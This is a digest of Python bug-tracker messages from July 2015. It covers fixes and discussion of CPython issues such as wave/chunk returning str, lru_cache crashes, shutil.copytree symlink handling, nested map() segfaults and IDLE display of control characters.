bugs.python.org Fri Jul 10 20:37:45 2015 From: report at bugs.python.org (Christophe Biocca) Date: Fri, 10 Jul 2015 18:37:45 +0000 Subject: [issue24608] Certain inputs to wave.open() result in readframes returning a str instead of bytes Message-ID: <1436553465.27.0.993319538196.issue24608@psf.upfronthosting.co.za> New submission from Christophe Biocca: Basically, some (malformed or empty?) WAV strings result in the empty string being returned when calling readframes. That string cannot be passed back to writeframes() without causing a crash, since it does not implement the buffer interface. ---------- components: Library (Lib) files: python_wave_error.py messages: 246575 nosy: Christophe Biocca priority: normal severity: normal status: open title: Certain inputs to wave.open() result in readframes returning a str instead of bytes type: behavior versions: Python 3.4 Added file: http://bugs.python.org/file39891/python_wave_error.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 20:48:02 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 10 Jul 2015 18:48:02 +0000 Subject: [issue14373] C implementation of functools.lru_cache In-Reply-To: <1332250846.11.0.753199667334.issue14373@psf.upfronthosting.co.za> Message-ID: <1436554082.16.0.34565892981.issue14373@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: self->root.next and self->root.prev should never be NULL. Could you please provide minimal example of code that produces a crash? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 21:21:03 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 10 Jul 2015 19:21:03 +0000 Subject: [issue24608] Certain inputs to wave.open() result in readframes returning a str instead of bytes In-Reply-To: <1436553465.27.0.993319538196.issue24608@psf.upfronthosting.co.za> Message-ID: <1436556063.85.0.711393917192.issue24608@psf.upfronthosting.co.za> Changes by Serhiy Storchaka : ---------- assignee: -> serhiy.storchaka nosy: +serhiy.storchaka stage: -> needs patch versions: +Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 21:21:51 2015 From: report at bugs.python.org (Skip Montanaro) Date: Fri, 10 Jul 2015 19:21:51 +0000 Subject: [issue24607] standardize sh module In-Reply-To: <1436553329.08.0.818798657966.issue24607@psf.upfronthosting.co.za> Message-ID: <1436556111.64.0.859758227348.issue24607@psf.upfronthosting.co.za> Skip Montanaro added the comment: While it's an interesting library, my fear is that people will start shelling out to all sorts of things which Python already has builtin. One of the examples on the github site was showing how to call "ls". Another example invoked "wc". neither of those is particularly difficult to pull off in Python. In addition, you're left with text data you need to parse for further use (assuming you even can reliably do so). Finally, I'm not sure masking the fork/exec overhead is such a great idea. ---------- nosy: +skip.montanaro _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 21:27:18 2015 From: report at bugs.python.org (Roundup Robot) Date: Fri, 10 Jul 2015 19:27:18 +0000 Subject: [issue24608] Certain inputs to wave.open() result in readframes returning a str instead of bytes In-Reply-To: <1436553465.27.0.993319538196.issue24608@psf.upfronthosting.co.za> Message-ID: <20150710192711.125839.79002@psf.io> Roundup Robot added the comment: New changeset 9e035639516c by Serhiy Storchaka in branch '3.4': Issue #24608: chunk.Chunk.read() now always returns bytes, not str. https://hg.python.org/cpython/rev/9e035639516c New changeset 64b2d154a5db by Serhiy Storchaka in branch '3.5': Issue #24608: chunk.Chunk.read() now always returns bytes, not str. https://hg.python.org/cpython/rev/64b2d154a5db New changeset 8befb15024b5 by Serhiy Storchaka in branch 'default': Issue #24608: chunk.Chunk.read() now always returns bytes, not str. https://hg.python.org/cpython/rev/8befb15024b5 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 21:28:43 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 10 Jul 2015 19:28:43 +0000 Subject: [issue24608] Certain inputs to wave.open() result in readframes returning a str instead of bytes In-Reply-To: <1436553465.27.0.993319538196.issue24608@psf.upfronthosting.co.za> Message-ID: <1436556523.54.0.534635447513.issue24608@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Thank you for your report Christophe. ---------- resolution: -> fixed stage: needs patch -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 21:46:03 2015 From: report at bugs.python.org (Stefan Behnel) Date: Fri, 10 Jul 2015 19:46:03 +0000 Subject: [issue14373] C implementation of functools.lru_cache In-Reply-To: <1436554082.16.0.34565892981.issue14373@psf.upfronthosting.co.za> Message-ID: <55A020F7.2070302@behnel.de> Stefan Behnel added the comment: It's not actually my own code using the lru_cache here. From a quick grep over the code tree, the only potentially related usage I found was in Python's fnmatch module, on the "_compile_pattern()" function. Commenting that out then made the crash go away, so this was the culprit. However, I ran test_functools.py of the same installation and it passes, so not every usage is broken here. Simple manual testing didn't reveal anything either so far. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 21:46:32 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 10 Jul 2015 19:46:32 +0000 Subject: [issue24567] random.choice IndexError due to double-rounding In-Reply-To: <1436065440.76.0.743831142504.issue24567@psf.upfronthosting.co.za> Message-ID: <1436557592.5.0.945756655019.issue24567@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: There are other affected methods: randrange(), randint(), shuffle(), sample(). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 21:49:10 2015 From: report at bugs.python.org (Stefan Behnel) Date: Fri, 10 Jul 2015 19:49:10 +0000 Subject: [issue14373] C implementation of functools.lru_cache In-Reply-To: <1332250846.11.0.753199667334.issue14373@psf.upfronthosting.co.za> Message-ID: <1436557750.97.0.86925547028.issue14373@psf.upfronthosting.co.za> Stefan Behnel added the comment: test_fnmatch.py also passes, BTW. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 21:49:58 2015 From: report at bugs.python.org (Tim Graham) Date: Fri, 10 Jul 2015 19:49:58 +0000 Subject: [issue14373] C implementation of functools.lru_cache In-Reply-To: <1332250846.11.0.753199667334.issue14373@psf.upfronthosting.co.za> Message-ID: <1436557798.32.0.242182747356.issue14373@psf.upfronthosting.co.za> Changes by Tim Graham : ---------- nosy: -Tim.Graham _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 22:04:37 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 10 Jul 2015 20:04:37 +0000 Subject: [issue24602] SRE_SEARCH Integer Underflow In-Reply-To: <1436497973.12.0.81933563226.issue24602@psf.upfronthosting.co.za> Message-ID: <1436558677.9.0.405032965327.issue24602@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: This was fixed in issue18684. ---------- resolution: -> out of date stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 22:19:44 2015 From: report at bugs.python.org (R. David Murray) Date: Fri, 10 Jul 2015 20:19:44 +0000 Subject: [issue24607] standardize sh module In-Reply-To: <1436553329.08.0.818798657966.issue24607@psf.upfronthosting.co.za> Message-ID: <1436559584.48.0.730361945687.issue24607@psf.upfronthosting.co.za> R. David Murray added the comment: Indeed. If you want shell scripting, use a shell script. The advantage of python scripting is exactly that you are using non-shell, with explicit control of what gets substituted where rather than the shell's implicit rules. Regardless our our opinions, though, this is the kind of topic that needs to be brought up first on the python-ideas mailing list. ---------- nosy: +r.david.murray stage: -> resolved status: open -> closed type: -> enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 23:22:21 2015 From: report at bugs.python.org (Thomas Kluyver) Date: Fri, 10 Jul 2015 21:22:21 +0000 Subject: [issue24609] shutil.copytree fails with symlinks to directories when symlink=False Message-ID: <1436563341.03.0.567959413242.issue24609@psf.upfronthosting.co.za> New submission from Thomas Kluyver: shutil.copytree behaves differently with symlinks depending on the 'symlinks' parameter. If this is True, symlinks are replicated in the destination. If False, the contents of the targets are copied to the destination. With symlinks=False, it currently assumes that all symlinks are pointing to regular files. With a symlink to a directory, it tries to copy it using the file copy function, which fails with: [Errno 21] Is a directory: '/tmp/tmpouavxt1u/link_to_dir'" The attached patch adds an isdir() check to use copytree instead in that case. A test is also added. ---------- components: Library (Lib) files: shutil_copytree_symlink_dir.patch keywords: patch messages: 246585 nosy: takluyver priority: normal severity: normal status: open title: shutil.copytree fails with symlinks to directories when symlink=False versions: Python 3.4, Python 3.5, Python 3.6 Added file: http://bugs.python.org/file39892/shutil_copytree_symlink_dir.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 23:41:32 2015 From: report at bugs.python.org (Berker Peksag) Date: Fri, 10 Jul 2015 21:41:32 +0000 Subject: [issue21697] shutil.copytree() handles symbolic directory incorrectly In-Reply-To: <1402319959.34.0.00412025295877.issue21697@psf.upfronthosting.co.za> Message-ID: <1436564492.81.0.445128052251.issue21697@psf.upfronthosting.co.za> Changes by Berker Peksag : ---------- assignee: -> berker.peksag nosy: +takluyver versions: +Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 23:41:41 2015 From: report at bugs.python.org (Berker Peksag) Date: Fri, 10 Jul 2015 21:41:41 +0000 Subject: [issue24609] shutil.copytree fails with symlinks to directories when symlink=False In-Reply-To: <1436563341.03.0.567959413242.issue24609@psf.upfronthosting.co.za> Message-ID: <1436564501.39.0.190209639463.issue24609@psf.upfronthosting.co.za> Berker Peksag added the comment: Thanks for the report and the patch. This is a duplicate of issue 21697. Could you please attach the patch in that issue? ---------- nosy: +berker.peksag resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> shutil.copytree() handles symbolic directory incorrectly _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 23:44:01 2015 From: report at bugs.python.org (Thomas Kluyver) Date: Fri, 10 Jul 2015 21:44:01 +0000 Subject: [issue21697] shutil.copytree() handles symbolic directory incorrectly In-Reply-To: <1402319959.34.0.00412025295877.issue21697@psf.upfronthosting.co.za> Message-ID: <1436564641.54.0.575600624786.issue21697@psf.upfronthosting.co.za> Thomas Kluyver added the comment: Here's my patch (I submitted the duplicate issue). I think it's functionally the same as Eduardo's, but it also adds a test. ---------- Added file: http://bugs.python.org/file39893/shutil_copytree_symlink_dir.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 11 02:32:08 2015 From: report at bugs.python.org (Mark Lawrence) Date: Sat, 11 Jul 2015 00:32:08 +0000 Subject: [issue24606] segfault caused by nested calls to map() In-Reply-To: <1436543422.2.0.294492637485.issue24606@psf.upfronthosting.co.za> Message-ID: <1436574728.58.0.681989402872.issue24606@psf.upfronthosting.co.za> Mark Lawrence added the comment: FTR I can reproduce this on Windows 8.1 with 3.4.3 and 3.3.5 but not 2.7.10 or 2.6.6. ---------- nosy: +BreamoreBoy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 11 02:45:04 2015 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 11 Jul 2015 00:45:04 +0000 Subject: [issue24570] IDLE Autocomplete and Call Tips Do Not Pop Up on OS X with ActiveTcl 8.5.18 In-Reply-To: <1436129307.64.0.192936457067.issue24570@psf.upfronthosting.co.za> Message-ID: <1436575504.39.0.033950547919.issue24570@psf.upfronthosting.co.za> Terry J. Reedy added the comment: More tests might help pin down the bug. Here is the complete config for completions. [AutoComplete] enable=True popupwait=2000 [AutoComplete_cfgBindings] force-open-completions= [AutoComplete_bindings] autocomplete= try-open-completions= Notes: config-extensions.def is initially opened and generically processed in various methods of configHandler.IdleConf, and on request, the config-extentions section of EditorWindow.py. cfgBindings can be (sensibly) reconfigured, the others not. Names that follow, before '=', become pseudoevents handles by methods in the Alessandro, you said works, does not. How about and . The latter pair work within path strings when the preceding chars begin a path that exist on your system. For instance, on Win 7, './ lists options in the current directory. I have no idea why KeyRelease instead of Key is used above and below. There is no key equivalent of releasing a mouse button in a different location than where pressed. Kevin, could there be a bug with KeyRelease on Mac? Alessandro, you could test by making a backup of configextensions.def and removing 'Release' for 'period'. The calltip files are CallTips.py CallTipWindow.py and in config-extensions.def, [CallTips] enable=True [CallTips_cfgBindings] force-open-calltip= [CallTips_bindings] try-open-calltip= refresh-calltip= Alessandro, you said does not work. How abut (after '(') to open? Does close properly? I do not know what (zero) is about. It does not work for me. For both boxes, clicking on the box should also close. Does it? What about Edit -> Show Completions and Edit -> Show calltips for opening? ---------- nosy: +terry.reedy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 11 03:59:03 2015 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 11 Jul 2015 01:59:03 +0000 Subject: [issue24572] IDLE Text Output With ASCII Control Codes Not Working In-Reply-To: <1436147110.34.0.380654402818.issue24572@psf.upfronthosting.co.za> Message-ID: <1436579943.71.0.38405740011.issue24572@psf.upfronthosting.co.za> Changes by Terry J. Reedy : ---------- resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> IDLE does not display \b backspace correctly. _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 11 04:01:42 2015 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 11 Jul 2015 02:01:42 +0000 Subject: [issue24572] IDLE Text Output With ASCII Control Codes Not Working In-Reply-To: <1436147110.34.0.380654402818.issue24572@psf.upfronthosting.co.za> Message-ID: <1436580102.47.0.81273426508.issue24572@psf.upfronthosting.co.za> Terry J. Reedy added the comment: Idle expands tabs to spaces, if asked to do so. It otherwise passes user code generated chars to tkinter, which passes them on to tk, which eventually passes them on to the OS gui widgets. I will say more on the existing issue. ---------- nosy: +terry.reedy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 11 04:54:30 2015 From: report at bugs.python.org (Ned Deily) Date: Sat, 11 Jul 2015 02:54:30 +0000 Subject: [issue24606] segfault caused by nested calls to map() In-Reply-To: <1436543422.2.0.294492637485.issue24606@psf.upfronthosting.co.za> Message-ID: <1436583270.23.0.82536973216.issue24606@psf.upfronthosting.co.za> Ned Deily added the comment: Process 51270 launched: './python' (x86_64) Process 51270 stopped * thread #1: tid = 0x5c8677, 0x00000001000c1af8 python`_PyObject_Alloc(use_calloc=0, ctx=, nelem=, elsize=) + 24 at obmalloc.c:1170, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=2, address=0x7fff5ebffff8) frame #0: 0x00000001000c1af8 python`_PyObject_Alloc(use_calloc=0, ctx=, nelem=, elsize=) + 24 at obmalloc.c:1170 1167 1168 static void * 1169 _PyObject_Alloc(int use_calloc, void *ctx, size_t nelem, size_t elsize) -> 1170 { 1171 size_t nbytes; 1172 block *bp; 1173 poolp pool; (lldb) bt * thread #1: tid = 0x5c8677, 0x00000001000c1af8 python`_PyObject_Alloc(use_calloc=0, ctx=, nelem=, elsize=) + 24 at obmalloc.c:1170, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=2, address=0x7fff5ebffff8) * frame #0: 0x00000001000c1af8 python`_PyObject_Alloc(use_calloc=0, ctx=, nelem=, elsize=) + 24 at obmalloc.c:1170 frame #1: 0x00000001000c0ec8 python`_PyObject_Malloc(ctx=0x0000000000000000, nbytes=112) + 40 at obmalloc.c:1386 frame #2: 0x00000001000c03e9 python`_PyMem_DebugAlloc(use_calloc=0, ctx=0x0000000100390898, nbytes=80) + 153 at obmalloc.c:1838 frame #3: 0x00000001000be981 python`_PyMem_DebugMalloc(ctx=0x0000000100390898, nbytes=80) + 33 at obmalloc.c:1861 frame #4: 0x00000001000bf3c1 python`PyObject_Malloc(size=80) + 65 at obmalloc.c:386 frame #5: 0x000000010028c87e python`_PyObject_GC_Alloc(use_calloc=0, basicsize=56) + 110 at gcmodule.c:1696 frame #6: 0x000000010028c809 python`_PyObject_GC_Malloc(basicsize=56) + 25 at gcmodule.c:1718 frame #7: 0x000000010028ca6d python`_PyObject_GC_NewVar(tp=0x0000000100393990, nitems=2) + 109 at gcmodule.c:1747 frame #8: 0x00000001000d6c82 python`PyTuple_New(size=2) + 338 at tupleobject.c:104 frame #9: 0x00000001001d7e26 python`map_next(lz=0x000000010cebbae8) + 38 at bltinmodule.c:1162 frame #10: 0x000000010001072c python`PyIter_Next(iter=0x000000010cebbae8) + 44 at abstract.c:2760 frame #11: 0x00000001001d7e71 python`map_next(lz=0x000000010cebbbb8) + 113 at bltinmodule.c:1167 frame #12: 0x000000010001072c python`PyIter_Next(iter=0x000000010cebbbb8) + 44 at abstract.c:2760 frame #13: 0x00000001001d7e71 python`map_next(lz=0x000000010cebbc88) + 113 at bltinmodule.c:1167 frame #14: 0x000000010001072c python`PyIter_Next(iter=0x000000010cebbc88) + 44 at abstract.c:2760 frame #15: 0x00000001001d7e71 python`map_next(lz=0x000000010cebbd58) + 113 at bltinmodule.c:1167 frame #16: 0x000000010001072c python`PyIter_Next(iter=0x000000010cebbd58) + 44 at abstract.c:2760 frame #17: 0x00000001001d7e71 python`map_next(lz=0x000000010cebbe28) + 113 at bltinmodule.c:1167 frame #18: 0x000000010001072c python`PyIter_Next(iter=0x000000010cebbe28) + 44 at abstract.c:2760 frame #19: 0x00000001001d7e71 python`map_next(lz=0x000000010cebbef8) + 113 at bltinmodule.c:1167 frame #20: 0x000000010001072c python`PyIter_Next(iter=0x000000010cebbef8) + 44 at abstract.c:2760 frame #21: 0x00000001001d7e71 python`map_next(lz=0x000000010cebd058) + 113 at bltinmodule.c:1167 frame #22: 0x000000010001072c python`PyIter_Next(iter=0x000000010cebd058) + 44 at abstract.c:2760 frame #23: 0x00000001001d7e71 python`map_next(lz=0x000000010cebd128) + 113 at bltinmodule.c:1167 frame #24: 0x000000010001072c python`PyIter_Next(iter=0x000000010cebd128) + 44 at abstract.c:2760 [...] ---------- nosy: +ned.deily _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 11 04:55:10 2015 From: report at bugs.python.org (Ned Deily) Date: Sat, 11 Jul 2015 02:55:10 +0000 Subject: [issue24606] segfault caused by nested calls to map() In-Reply-To: <1436543422.2.0.294492637485.issue24606@psf.upfronthosting.co.za> Message-ID: <1436583310.52.0.0955006956894.issue24606@psf.upfronthosting.co.za> Changes by Ned Deily : ---------- nosy: -ned.deily _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 11 05:09:37 2015 From: report at bugs.python.org (Ned Deily) Date: Sat, 11 Jul 2015 03:09:37 +0000 Subject: [issue14373] C implementation of functools.lru_cache In-Reply-To: <1332250846.11.0.753199667334.issue14373@psf.upfronthosting.co.za> Message-ID: <1436584177.4.0.975350663946.issue14373@psf.upfronthosting.co.za> Ned Deily added the comment: I've also seen a crash in lru_cache_tp_traverse but with the 3.5.0b3 release build for the OS X 64-bit/32-bit installer. I just stumbled across the segfault by bringing up the interactive interpreter and typing "import ssl". After a lot of playing around, I reduced the failing case to: 1. have an "import pprint" in a startup file referred to by PYTHONSTARTUP *and* 2. "import ssl" must be the very first command entered in the interactive interpreter. Odd! Unfortunately, the release build is a non-debug build and, so far, I have not been able to reproduce the segfault with any other build, debug or non-debug. So, whatever the problem is, it's very build dependent. Here is the OS X system traceback from the segfault: Path: /Library/Frameworks/Python.framework/Versions/3.5.0b3_10_6/Resources/Python.app/Contents/MacOS/Python Identifier: Python Version: ??? Code Type: X86-64 (Native) Parent Process: bash [51285] Responsible: iTerm [754] User ID: 503 Date/Time: 2015-07-10 19:57:16.086 -0700 OS Version: Mac OS X 10.10.4 (14E46) Report Version: 11 Anonymous UUID: CFED52E3-698C-835B-D61C-F4B1F18D2CB6 Time Awake Since Boot: 800000 seconds Crashed Thread: 0 Dispatch queue: com.apple.main-thread Exception Type: EXC_BAD_ACCESS (SIGSEGV) Exception Codes: KERN_INVALID_ADDRESS at 0x0000000000000018 VM Regions Near 0x18: --> __TEXT 0000000100000000-0000000100001000 [ 4K] r-x/rwx SM=COW /Library/Frameworks/Python.framework/Versions/3.5.0b3_10_6/Resources/Python.app/Contents/MacOS/Python Thread 0 Crashed:: Dispatch queue: com.apple.main-thread 0 org.python.python 0x000000010015e5e5 lru_cache_tp_traverse + 37 1 org.python.python 0x000000010013a2d7 collect + 439 2 org.python.python 0x000000010013aee5 _PyObject_GC_Alloc + 357 3 org.python.python 0x000000010013afe7 _PyObject_GC_New + 23 4 org.python.python 0x0000000100059bce PyDict_New + 334 5 org.python.python 0x000000010015f029 lru_cache_new + 249 6 org.python.python 0x00000001000795a6 type_call + 38 7 org.python.python 0x000000010000dc93 PyObject_Call + 99 8 org.python.python 0x00000001000e9fd8 PyEval_EvalFrameEx + 7656 9 org.python.python 0x00000001000f1d00 _PyEval_EvalCodeWithName + 2400 10 org.python.python 0x00000001000f035d PyEval_EvalFrameEx + 33133 11 org.python.python 0x00000001000f1d00 _PyEval_EvalCodeWithName + 2400 12 org.python.python 0x00000001000f1e07 PyEval_EvalCodeEx + 71 13 org.python.python 0x00000001000e5ff5 builtin___build_class__ + 485 14 org.python.python 0x0000000100065549 PyCFunction_Call + 281 15 org.python.python 0x00000001000f0768 PyEval_EvalFrameEx + 34168 16 org.python.python 0x00000001000f1d00 _PyEval_EvalCodeWithName + 2400 17 org.python.python 0x00000001000f1e61 PyEval_EvalCode + 81 18 org.python.python 0x00000001000e5683 builtin_exec + 627 19 org.python.python 0x0000000100065519 PyCFunction_Call + 233 20 org.python.python 0x00000001000f0a9b PyEval_EvalFrameEx + 34987 21 org.python.python 0x00000001000f1d00 _PyEval_EvalCodeWithName + 2400 22 org.python.python 0x00000001000f035d PyEval_EvalFrameEx + 33133 23 org.python.python 0x00000001000f07fd PyEval_EvalFrameEx + 34317 24 org.python.python 0x00000001000f07fd PyEval_EvalFrameEx + 34317 25 org.python.python 0x00000001000f07fd PyEval_EvalFrameEx + 34317 26 org.python.python 0x00000001000f1d00 _PyEval_EvalCodeWithName + 2400 27 org.python.python 0x00000001000f1e07 PyEval_EvalCodeEx + 71 28 org.python.python 0x000000010004017a function_call + 186 29 org.python.python 0x000000010000dc93 PyObject_Call + 99 30 org.python.python 0x0000000100010ff6 _PyObject_CallMethodIdObjArgs + 454 31 org.python.python 0x000000010010d6d3 PyImport_ImportModuleLevelObject + 1171 32 org.python.python 0x00000001000e5e03 builtin___import__ + 131 33 org.python.python 0x0000000100065549 PyCFunction_Call + 281 34 org.python.python 0x000000010000dc93 PyObject_Call + 99 35 org.python.python 0x00000001000e64f7 PyEval_CallObjectWithKeywords + 87 36 org.python.python 0x00000001000ea43e PyEval_EvalFrameEx + 8782 37 org.python.python 0x00000001000f1d00 _PyEval_EvalCodeWithName + 2400 38 org.python.python 0x00000001000f1e61 PyEval_EvalCode + 81 39 org.python.python 0x00000001000e5683 builtin_exec + 627 40 org.python.python 0x0000000100065519 PyCFunction_Call + 233 41 org.python.python 0x00000001000f0a9b PyEval_EvalFrameEx + 34987 42 org.python.python 0x00000001000f1d00 _PyEval_EvalCodeWithName + 2400 43 org.python.python 0x00000001000f035d PyEval_EvalFrameEx + 33133 44 org.python.python 0x00000001000f07fd PyEval_EvalFrameEx + 34317 45 org.python.python 0x00000001000f07fd PyEval_EvalFrameEx + 34317 46 org.python.python 0x00000001000f07fd PyEval_EvalFrameEx + 34317 47 org.python.python 0x00000001000f1d00 _PyEval_EvalCodeWithName + 2400 48 org.python.python 0x00000001000f1e07 PyEval_EvalCodeEx + 71 49 org.python.python 0x000000010004017a function_call + 186 50 org.python.python 0x000000010000dc93 PyObject_Call + 99 51 org.python.python 0x0000000100010ff6 _PyObject_CallMethodIdObjArgs + 454 52 org.python.python 0x000000010010d6d3 PyImport_ImportModuleLevelObject + 1171 53 org.python.python 0x00000001000e5e03 builtin___import__ + 131 54 org.python.python 0x0000000100065549 PyCFunction_Call + 281 55 org.python.python 0x000000010000dc93 PyObject_Call + 99 56 org.python.python 0x00000001000e64f7 PyEval_CallObjectWithKeywords + 87 57 org.python.python 0x00000001000ea43e PyEval_EvalFrameEx + 8782 58 org.python.python 0x00000001000f1d00 _PyEval_EvalCodeWithName + 2400 59 org.python.python 0x00000001000f1e61 PyEval_EvalCode + 81 60 org.python.python 0x000000010011fa7a PyRun_InteractiveOneObject + 474 61 org.python.python 0x000000010011fdfe PyRun_InteractiveLoopFlags + 110 62 org.python.python 0x000000010012076c PyRun_AnyFileExFlags + 76 63 org.python.python 0x00000001001390a9 Py_Main + 3785 64 org.python.python 0x0000000100000e32 0x100000000 + 3634 65 org.python.python 0x0000000100000c84 0x100000000 + 3204 Thread 0 crashed with X86 Thread State (64-bit): rax: 0x000000010023d6c0 rbx: 0x00000001006fdb70 rcx: 0x0000000100382048 rdx: 0x0000000000000000 rdi: 0x0000000000000000 rsi: 0x00000001001392e0 rbp: 0x00007fff5bffb530 rsp: 0x00007fff5bffb510 r8: 0x0000000000000000 r9: 0x0000000000000001 r10: 0x0000000000000016 r11: 0x00000001001392e0 r12: 0x00000001006fdb88 r13: 0x0000000000000000 r14: 0x00000001001392e0 r15: 0x000000010102fdb8 rip: 0x000000010015e5e5 rfl: 0x0000000000010206 cr2: 0x0000000000000018 ---------- nosy: +ned.deily _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 11 06:50:56 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 11 Jul 2015 04:50:56 +0000 Subject: [issue24606] segfault caused by nested calls to map() In-Reply-To: <1436543422.2.0.294492637485.issue24606@psf.upfronthosting.co.za> Message-ID: <1436590256.86.0.204181389419.issue24606@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: This looks as a duplicate of issue14010. ---------- nosy: +serhiy.storchaka resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> deeply nested filter segfaults _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 11 06:52:32 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 11 Jul 2015 04:52:32 +0000 Subject: [issue14010] deeply nested filter segfaults In-Reply-To: <1329235106.54.0.737183388066.issue14010@psf.upfronthosting.co.za> Message-ID: <1436590352.04.0.290621186111.issue14010@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: See issue24606 for another instance of this in map(). ---------- versions: +Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 11 08:12:29 2015 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 11 Jul 2015 06:12:29 +0000 Subject: [issue24572] IDLE Text Output With ASCII Control Codes Not Working In-Reply-To: <1436147110.34.0.380654402818.issue24572@psf.upfronthosting.co.za> Message-ID: <1436595149.54.0.64975174611.issue24572@psf.upfronthosting.co.za> Terry J. Reedy added the comment: To modify what I said, Idle only auto-expands literal tabs entered into an editor window with the Tab key. When one is doing such entry, all key sequences are subject to interception, so this is nothing special. Tabs chars put in a string with '\t' or '\x09' are not and should not be modified (except by explicit string methods. The issue here and in #23220 is what happens when strings are written to a file object with print or file.write. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 11 10:00:56 2015 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 11 Jul 2015 08:00:56 +0000 Subject: [issue23220] IDLE does not display \b backspace correctly. In-Reply-To: <1420937687.17.0.885670059147.issue23220@psf.upfronthosting.co.za> Message-ID: <1436601656.73.0.743619370071.issue23220@psf.upfronthosting.co.za> Terry J. Reedy added the comment: I closed #24572 as a duplicate of this. It is the same issue except for printing \r instead of \b. These issues are not about responses to keyboard actions when entering text into an Idle editor window. During entry, just about any cntl/alt/function/shift/key combination can be intercepted to and translated to arbitrary action. They are also not about REPL echo. For 3.4+ Win7, both console Python and Shell echo '\b\t\x08\x09' as '\x08\t\x08\t'. Carol's report suggest that the same is true on Mac also. Both issues *are* about print(s, file=outfile), where s is the result of processing all args except 'file' and outfile defaults to sys.stdout. The print call is the same as outfile.write(s), so outfile (and sys.stdout) could be any object with a write method. >>> print('hello\b\b\b\b\bHELLO') helloHELLO >>> import sys; sys.stdout.write('hello\b\b\b\b\bHELLO'+'\n') helloHELLO (I actually see the same circles as Al, but copy-paste does not seem to work as well for me.) So both issues are about the effect of writing 'control chars', in particular \b and \r, to a file. Well, that depends on the file. Some possibilities are copy as is (StringIO), encode and copy (disk file, socket), ignore, display as one glyph, display as multiple chars, non-destructively backspace (like backspace on typewriters and printing terminals and left-arrow elsewhere), or destructively backspace (like backspace on as most (all?) screen keyboards). After non-destructive movement of the 'cursor' position, the possibilities for following graphical chars are overwrite (like typewriters), replace, and insert (the modes sometimes selected by the Insert key). Non-destructive backspace followed by overwrite (meaning 'HELLO' printed on top of 'hello') is the original meaning of 'backspace'. Having said all this, I am sympathetic to the idea that there should be an option to have 'print(ascii_string)' in user code give the same result in the console and Idle. I think this would best be accomplished by a least-common-denominator SimpleTerm subclass of tkinter.Text put somewhere in the tkinter package. (This would be a new issue that should start on python-ideas list.) However, I would consider something Idle specific. Does the following work the same on *nix and Mac as Windows? >>> print('hello\rHELLO') HELLO # helloHELLO with Win7 Idle Are there any control-chars (other than \n) that work might work in the consoles on all three systems and that should be included? Carol, another difference between the Windows console and Idle is that tk and hence Idle support the entire BMP subset of unicode. This should also be mentioned in the doc. ---------- stage: -> needs patch type: -> enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 11 10:12:00 2015 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 11 Jul 2015 08:12:00 +0000 Subject: [issue24587] Incorrect tkinter behavior of slave widgets of Button In-Reply-To: <1436320780.82.0.239534130411.issue24587@psf.upfronthosting.co.za> Message-ID: <1436602320.85.0.515757093625.issue24587@psf.upfronthosting.co.za> Terry J. Reedy added the comment: Please attach the file to this issue, using the [Browse] button. ---------- nosy: +serhiy.storchaka, terry.reedy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 11 10:16:25 2015 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 11 Jul 2015 08:16:25 +0000 Subject: [issue24595] InteractiveInterpreter always prints to stdout In-Reply-To: 